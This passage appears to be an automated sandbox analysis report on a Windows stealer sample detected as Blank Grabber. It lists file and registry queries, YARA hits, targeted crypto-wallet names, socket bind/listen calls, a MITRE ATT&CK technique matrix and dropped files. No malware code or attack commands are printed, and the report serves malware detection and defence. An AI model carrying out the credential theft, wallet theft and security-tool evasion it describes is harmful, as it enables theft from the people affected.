Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\bound.blank VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\bound.blank VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\bound.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\unicodedata.pyd VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\bound.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe

Code function: 0_2_00007FF7EAD0D010 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF7EAD0D010

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe

Code function: 0_2_00007FF7EAD25C00 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

0_2_00007FF7EAD25C00

Source: C:\Users\user\AppData\Local\Temp\bound.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: Amcache.hve.29.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.29.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.29.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.29.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.29.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Blank Grabber

Source: Yara match	File source: 00000002.00000003.1409163112.000001DCB59D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1407566160.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1393387910.000001C12B872000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1408378616.000001DCB591D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1407872022.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1393387910.000001C12B874000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1408182982.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe PID: 7612, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe PID: 7664, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\_MEI76122\rarreg.key, type: DROPPED

Found many strings related to Crypto-Wallets (likely being stolen)

Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1407566160.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1407566160.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxxz
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1407566160.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Exodusz
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1407566160.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Ethereum
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1407566160.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Source: Yara match	File source: 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe PID: 7664, type: MEMORYSTR

Remote Access Functionality

Yara detected Blank Grabber

Source: Yara match	File source: 00000002.00000003.1409163112.000001DCB59D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1407566160.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1393387910.000001C12B872000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1408378616.000001DCB591D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1407872022.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1393387910.000001C12B874000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1408182982.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe PID: 7612, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe PID: 7664, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\_MEI76122\rarreg.key, type: DROPPED

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E81353DC bind,		2_2_00007FF8E81353DC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E8136424 listen,		2_2_00007FF8E8136424

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 DLL Side-Loading	11 Process Injection	31 Disable or Modify Tools	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	61 Virtualization/Sandbox Evasion	LSASS Memory	151 Security Software Discovery	Remote Desktop Protocol	1 Data from Local System	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Native API	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	61 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	21 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	111 Software Packing	Cached Domain Credentials	11 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Timestomp	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	34 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	53%	ReversingLabs	Win64.Trojan.Generic
SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\_MEI76122\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI76122\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI76122\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI76122\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI76122\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI76122\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI76122\_queue.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI76122\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI76122\_sqlite3.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI76122\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI76122\libcrypto-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI76122\libffi-8.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI76122\libssl-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI76122\python313.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI76122\rar.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI76122\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI76122\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI76122\unicodedata.pyd	0%	ReversingLabs

Source	Detection	Scanner	Label
https://tools.ietf.org/html/rfc2388#section-4.4	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://crl.mic	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://httpbin.org/	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	0%	URL Reputation	safe
http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535	0%	URL Reputation	safe
http://tools.ietf.org/html/rfc6125#section-6.4.3	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
